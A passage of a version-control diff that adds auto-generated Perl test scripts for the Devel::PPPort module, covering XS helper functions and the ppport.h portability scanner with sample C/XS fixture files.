+bootstrap Devel::PPPort;
+
+package main;
+
+use vars qw($my_sv @my_av %my_hv);
+
+ok(&Devel::PPPort::boolSV(1));
+ok(!&Devel::PPPort::boolSV(0));
+
+$_ = "Fred";
+ok(&Devel::PPPort::DEFSV(), "Fred");
+ok(&Devel::PPPort::UNDERBAR(), "Fred");
+
+if ($] >= 5.009002 && $] < 5.023 && $] < 5.023004) {
+  eval q{
+    no warnings "deprecated";
+    no if $^V > v5.17.9, warnings => "experimental::lexical_topic";
+    my $_ = "Tony";
+    ok(&Devel::PPPort::DEFSV(), "Fred");
+    ok(&Devel::PPPort::UNDERBAR(), "Tony");
+  };
+}
+else {
+  ok(1);
+  ok(1);
+}
+
+my @r = &Devel::PPPort::DEFSV_modify();
+
+ok(@r == 3);
+ok($r[0], 'Fred');
+ok($r[1], 'DEFSV');
+ok($r[2], 'Fred');
+
+ok(&Devel::PPPort::DEFSV(), "Fred");
+
+eval { 1 };
+ok(!&Devel::PPPort::ERRSV());
+eval { cannot_call_this_one() };
+ok(&Devel::PPPort::ERRSV());
+
+ok(&Devel::PPPort::gv_stashpvn('Devel::PPPort', 0));
+ok(!&Devel::PPPort::gv_stashpvn('does::not::exist', 0));
+ok(&Devel::PPPort::gv_stashpvn('does::not::exist', 1));
+
+$my_sv = 1;
+ok(&Devel::PPPort::get_sv('my_sv', 0));
+ok(!&Devel::PPPort::get_sv('not_my_sv', 0));
+ok(&Devel::PPPort::get_sv('not_my_sv', 1));
+
+ at my_av = (1);
+ok(&Devel::PPPort::get_av('my_av', 0));
+ok(!&Devel::PPPort::get_av('not_my_av', 0));
+ok(&Devel::PPPort::get_av('not_my_av', 1));
+
+%my_hv = (a=>1);
+ok(&Devel::PPPort::get_hv('my_hv', 0));
+ok(!&Devel::PPPort::get_hv('not_my_hv', 0));
+ok(&Devel::PPPort::get_hv('not_my_hv', 1));
+
+sub my_cv { 1 };
+ok(&Devel::PPPort::get_cv('my_cv', 0));
+ok(!&Devel::PPPort::get_cv('not_my_cv', 0));
+ok(&Devel::PPPort::get_cv('not_my_cv', 1));
+
+ok(Devel::PPPort::dXSTARG(42), 43);
+ok(Devel::PPPort::dAXMARK(4711), 4710);
+
+ok(Devel::PPPort::prepush(), 42);
+
+ok(join(':', Devel::PPPort::xsreturn(0)), 'test1');
+ok(join(':', Devel::PPPort::xsreturn(1)), 'test1:test2');
+
+ok(Devel::PPPort::PERL_ABS(42), 42);
+ok(Devel::PPPort::PERL_ABS(-13), 13);
+
+ok(Devel::PPPort::SVf(42), $] >= 5.004 ? '[42]' : '42');
+ok(Devel::PPPort::SVf('abc'), $] >= 5.004 ? '[abc]' : 'abc');
+
+ok(&Devel::PPPort::Perl_ppaddr_t("FOO"), "foo");
+
+ok(&Devel::PPPort::ptrtests(), 63);
+
+ok(&Devel::PPPort::OpSIBLING_tests(), 0);
+
+if ($] >= 5.009000) {
+  eval q{
+    ok(&Devel::PPPort::check_HeUTF8("hello"), "norm");
+    ok(&Devel::PPPort::check_HeUTF8("\N{U+263a}"), "utf8");
+  };
+} else {
+  ok(1, 1);
+  ok(1, 1);
+}
+
+ at r = &Devel::PPPort::check_c_array();
+ok($r[0], 4);
+ok($r[1], "13");
+
+ok(!Devel::PPPort::SvRXOK(""));
+ok(!Devel::PPPort::SvRXOK(bless [], "Regexp"));
+
+if ($] < 5.005) {
+        skip 'no qr// objects in this perl', 0;
+        skip 'no qr// objects in this perl', 0;
+} else {
+        my $qr = eval 'qr/./';
+        ok(Devel::PPPort::SvRXOK($qr));
+        ok(Devel::PPPort::SvRXOK(bless $qr, "Surprise"));
+}
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/newCONSTSUB.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/newCONSTSUB.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/newCONSTSUB.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,59 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/newCONSTSUB instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (3) {
+    load();
+    plan(tests => 3);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+&Devel::PPPort::call_newCONSTSUB_1();
+ok(&Devel::PPPort::test_value_1(), 1);
+
+&Devel::PPPort::call_newCONSTSUB_2();
+ok(&Devel::PPPort::test_value_2(), 2);
+
+&Devel::PPPort::call_newCONSTSUB_3();
+ok(&Devel::PPPort::test_value_3(), 3);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/newRV.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/newRV.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/newRV.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,53 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/newRV instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (2) {
+    load();
+    plan(tests => 2);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::newRV_inc_REFCNT, 1);
+ok(&Devel::PPPort::newRV_noinc_REFCNT, 1);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/newSV_type.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/newSV_type.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/newSV_type.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,52 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/newSV_type instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (1) {
+    load();
+    plan(tests => 1);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::newSV_type(), 4);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/newSVpv.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/newSVpv.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/newSVpv.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,78 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/newSVpv instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (15) {
+    load();
+    plan(tests => 15);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my @s = &Devel::PPPort::newSVpvn();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+ at s = &Devel::PPPort::newSVpvn_flags();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+ at s = &Devel::PPPort::newSVpvn_utf8();
+ok(@s == 1);
+ok($s[0], "test");
+
+if ($] >= 5.008001) {
+  require utf8;
+  ok(utf8::is_utf8($s[0]));
+}
+else {
+  skip("skip: no is_utf8()", 0);
+}
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/podtest.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/podtest.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/podtest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,83 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/podtest instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (0) {
+    load();
+    plan(tests => 0);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my @pods = qw( HACKERS PPPort.pm ppport.h soak devel/regenerate devel/buildperl.pl );
+
+my $reason = '';
+
+if ($ENV{'SKIP_SLOW_TESTS'}) {
+  $reason = 'SKIP_SLOW_TESTS';
+}
+else {
+  # Try loading Test::Pod
+  eval q{
+    use Test::Pod;
+    $Test::Pod::VERSION >= 0.95
+        or die "Test::Pod version only $Test::Pod::VERSION";
+    import Test::Pod tests => scalar @pods;
+  };
+  $reason = 'Test::Pod >= 0.95 required' if $@;
+}
+
+if ($reason) {
+  load();
+  plan(tests => scalar @pods);
+}
+
+for (@pods) {
+  print "# checking $_\n";
+  if ($reason) {
+    skip("skip: $reason", 0);
+  }
+  else {
+    pod_file_ok($_);
+  }
+}
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/ppphtest.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/ppphtest.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/ppphtest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,947 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/ppphtest instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (238) {
+    load();
+    plan(tests => 238);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+BEGIN {
+  if ($ENV{'SKIP_SLOW_TESTS'}) {
+    for (1 .. 238) {
+      skip("skip: SKIP_SLOW_TESTS", 0);
+    }
+    exit 0;
+  }
+}
+
+use File::Path qw/rmtree mkpath/;
+use Config;
+
+my $tmp = 'ppptmp';
+my $inc = '';
+my $isVMS = $^O eq 'VMS';
+my $isMAC = $^O eq 'MacOS';
+my $perl = find_perl();
+
+rmtree($tmp) if -d $tmp;
+mkpath($tmp) or die "mkpath $tmp: $!\n";
+chdir($tmp) or die "chdir $tmp: $!\n";
+
+if ($ENV{'PERL_CORE'}) {
+  if (-d '../../lib') {
+    if ($isVMS) {
+      $inc = '"-I../../lib"';
+    }
+    elsif ($isMAC) {
+      $inc = '-I:::lib';
+    }
+    else {
+      $inc = '-I../../lib';
+    }
+    unshift @INC, '../../lib';
+  }
+}
+if ($perl =~ m!^\./!) {
+  $perl = ".$perl";
+}
+
+END {
+  chdir('..') if !-d $tmp && -d "../$tmp";
+  rmtree($tmp) if -d $tmp;
+}
+
+ok(&Devel::PPPort::WriteFile("ppport.h"));
+
+# Check GetFileContents()
+ok(-e "ppport.h", 1);
+
+my $data;
+
+open(F, "<ppport.h") or die "Failed to open ppport.h: $!";
+while(<F>) {
+  $data .= $_;
+}
+close(F);
+
+ok(Devel::PPPort::GetFileContents("ppport.h"), $data);
+ok(Devel::PPPort::GetFileContents(), $data);
+
+sub comment
+{
+  my $c = shift;
+  $c =~ s/^/# | /mg;
+  $c .= "\n" unless $c =~ /[\r\n]$/;
+  print $c;
+}
+
+sub ppport
+{
+  my @args = ('ppport.h', @_);
+  unshift @args, $inc if $inc;
+  my $run = $perl =~ m/\s/ ? qq("$perl") : $perl;
+  $run .= ' -MMac::err=unix' if $isMAC;
+  for (@args) {
+    $_ = qq("$_") if $isVMS && /^[^"]/;
+    $run .= " $_";
+  }
+  print "# *** running $run ***\n";
+  $run .= ' 2>&1' unless $isMAC;
+  my @out = `$run`;
+  my $out = join '', @out;
+  comment($out);
+  return wantarray ? @out : $out;
+}
+
+sub matches
+{
+  my($str, $re, $mod) = @_;
+  my @n;
+  eval "\@n = \$str =~ /$re/g$mod;";
+  if ($@) {
+    my $err = $@;
+    $err =~ s/^/# *** /mg;
+    print "# *** ERROR ***\n$err\n";
+  }
+  return $@ ? -42 : scalar @n;
+}
+
+sub eq_files
+{
+  my($f1, $f2) = @_;
+  return 0 unless -e $f1 && -e $f2;
+  local *F;
+  for ($f1, $f2) {
+    print "# File: $_\n";
+    unless (open F, $_) {
+      print "# couldn't open $_: $!\n";
+      return 0;
+    }
+    $_ = do { local $/; <F> };
+    close F;
+    comment($_);
+  }
+  return $f1 eq $f2;
+}
+
+my @tests;
+
+for (split /\s*={70,}\s*/, do { local $/; <DATA> }) {
+  s/^\s+//; s/\s+$//;
+  my($c, %f);
+  ($c, @f{m/-{20,}\s+(\S+)\s+-{20,}/g}) = split /\s*-{20,}\s+\S+\s+-{20,}\s*/;
+  push @tests, { code => $c, files => \%f };
+}
+
+my $t;
+for $t (@tests) {
+  print "#\n", ('# ', '-'x70, "\n")x3, "#\n";
+  my $f;
+  for $f (keys %{$t->{files}}) {
+    my @f = split /\//, $f;
+    if (@f > 1) {
+      pop @f;
+      my $path = join '/', @f;
+      mkpath($path) or die "mkpath('$path'): $!\n";
+    }
+    my $txt = $t->{files}{$f};
+    local *F;
+    open F, ">$f" or die "open $f: $!\n";
+    print F "$txt\n";
+    close F;
+    $txt =~ s/^/# | /mg;
+    print "# *** writing $f ***\n$txt\n";
+  }
+
+  my $code = $t->{code};
+  $code =~ s/^/# | /mg;
+
+  print "# *** evaluating test code ***\n$code\n";
+
+  eval $t->{code};
+  if ($@) {
+    my $err = $@;
+    $err =~ s/^/# *** /mg;
+    print "# *** ERROR ***\n$err\n";
+  }
+  ok($@, '');
+
+  for (keys %{$t->{files}}) {
+    unlink $_ or die "unlink('$_'): $!\n";
+  }
+}
+
+sub find_perl
+{
+  my $perl = $^X;
+
+  return $perl if $isVMS;
+
+  my $exe = $Config{'_exe'} || '';
+
+  if ($perl =~ /^perl\Q$exe\E$/i) {
+    $perl = "perl$exe";
+    eval "require File::Spec";
+    if ($@) {
+      $perl = "./$perl";
+    } else {
+      $perl = File::Spec->catfile(File::Spec->curdir(), $perl);
+    }
+  }
+
+  if ($perl !~ /\Q$exe\E$/i) {
+    $perl .= $exe;
+  }
+
+  warn "find_perl: cannot find $perl from $^X" unless -f $perl;
+
+  return $perl;
+}
+
+__DATA__
+
+my $o = ppport(qw(--help));
+ok($o =~ /^Usage:.*ppport\.h/m);
+ok($o =~ /--help/m);
+
+$o = ppport(qw(--version));
+ok($o =~ /^This is.*ppport.*\d+\.\d+(?:_?\d+)?\.$/);
+
+$o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*test\.xs/mi);
+ok($o =~ /Analyzing.*test\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+ok($o =~ /Uses Perl_newSViv instead of newSViv/);
+
+$o = ppport(qw(--quiet --nochanges));
+ok($o =~ /^\s*$/);
+
+---------------------------- test.xs ------------------------------------------
+
+Perl_newSViv();
+
+===============================================================================
+
+# check if C and C++ comments are filtered correctly
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o =~ /Uses 1 C\+\+ style comment/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+# check if C++ are left untouched with --cplusplus
+
+$o = ppport(qw(--copy=b --cplusplus));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o !~ /Uses \d+ C\+\+ style comment/m);
+ok(eq_files('MyExt.xsb', 'MyExt.rb'));
+
+unlink qw(MyExt.xsa MyExt.xsb);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+newSVuv();
+    // newSVpv();
+  XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+    /* newSVpv(); */
+  XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.rb -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+    // newSVpv();
+  XPUSHs(foo);
+/* grok_bin(); */
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o =~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o !~ /^Uses newCONSTSUB/m);
+ok($o !~ /^Uses PL_expect/m);
+ok($o !~ /^Uses SvPV_nolen/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --quiet file1.xs));
+ok($o =~ /^\s*$/);
+
+$o = ppport(qw(--nochanges file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o !~ /^Uses mXPUSHp/m);
+ok($o !~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --quiet file2.xs));
+ok($o =~ /^\s*$/);
+
+---------------------------- file1.xs -----------------------------------------
+
+#define NEED_newCONSTSUB
+#define NEED_sv_2pv_flags
+#define NEED_PL_parser
+#include "ppport.h"
+
+newCONSTSUB();
+SvPV_nolen();
+PL_expect = 0;
+
+---------------------------- file2.xs -----------------------------------------
+
+mXPUSHp(foo);
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*FooBar\.xs/mi);
+ok($o =~ /Analyzing.*FooBar\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^Uses grok_bin/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+newSViv();
+XPUSHs(foo);
+grok_bin();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*First\.xs/mi);
+ok($o =~ /Analyzing.*First\.xs/mi);
+ok($o =~ /^Scanning.*second\.h/mi);
+ok($o =~ /Analyzing.*second\.h/mi);
+ok($o =~ /^Scanning.*sub.*third\.c/mi);
+ok($o =~ /Analyzing.*sub.*third\.c/mi);
+ok($o !~ /^Scanning.*foobar/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+
+---------------------------- First.xs -----------------------------------------
+
+one
+
+---------------------------- foobar.xyz ---------------------------------------
+
+two
+
+---------------------------- second.h -----------------------------------------
+
+three
+
+---------------------------- sub/third.c --------------------------------------
+
+four
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Possibly wrong #define NEED_foobar in.*test.xs/i);
+
+---------------------------- test.xs ------------------------------------------
+
+#define NEED_foobar
+
+===============================================================================
+
+# And now some complex "real-world" example
+
+my $o = ppport(qw(--copy=f));
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c mod5.c)) {
+  ok($o =~ /^Scanning.*\Q$_\E/mi);
+  ok($o =~ /Analyzing.*\Q$_\E/i);
+}
+ok(matches($o, '^Scanning', 'm'), 6);
+
+ok(matches($o, '^Writing copy of', 'm'), 5);
+ok(!-e "mod5.cf");
+
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c)) {
+  ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+  ok(-e "${_}f");
+  ok(eq_files("${_}f", "${_}r"));
+  unlink "${_}f";
+}
+
+---------------------------- main.xs ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_newCONSTSUB
+#define NEED_grok_hex_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+Perl_grok_bin(aTHX_ foo, bar);
+
+/* some comment */
+
+perl_eval_pv();
+grok_bin();
+Perl_grok_bin(bar, sv_no);
+
+---------------------------- mod1.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#define NEED_newCONSTSUB
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+  Perl_croak ("foo");
+  Perl_sv_catpvf();  /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv
+#include "ppport.h"
+
+newSViv();
+
+/*
+   eval_pv();
+*/
+
+---------------------------- mod3.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+START_MY_CXT;
+
+---------------------------- mod5.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#include "ppport.h"
+call_pv();
+
+---------------------------- main.xsr -----------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv_GLOBAL
+#define NEED_grok_hex
+#define NEED_newCONSTSUB_GLOBAL
+#define NEED_sv_2pv_flags_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+grok_bin(foo, bar);
+
+/* some comment */
+
+eval_pv();
+grok_bin();
+grok_bin(bar, PL_sv_no);
+
+---------------------------- mod1.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+  Perl_croak (aTHX_ "foo");
+  Perl_sv_catpvf(aTHX);  /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+
+newSViv();
+
+/*
+   eval_pv();
+*/
+
+---------------------------- mod3.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#define NEED_grok_oct
+#include "ppport.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#include "ppport.h"
+
+START_MY_CXT;
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses grok_hex/m);
+ok($o !~ /Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0));
+ok($o !~ /Uses grok_hex/m);
+ok($o =~ /Looks good/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+grok_hex();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.5.3));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.005_03));
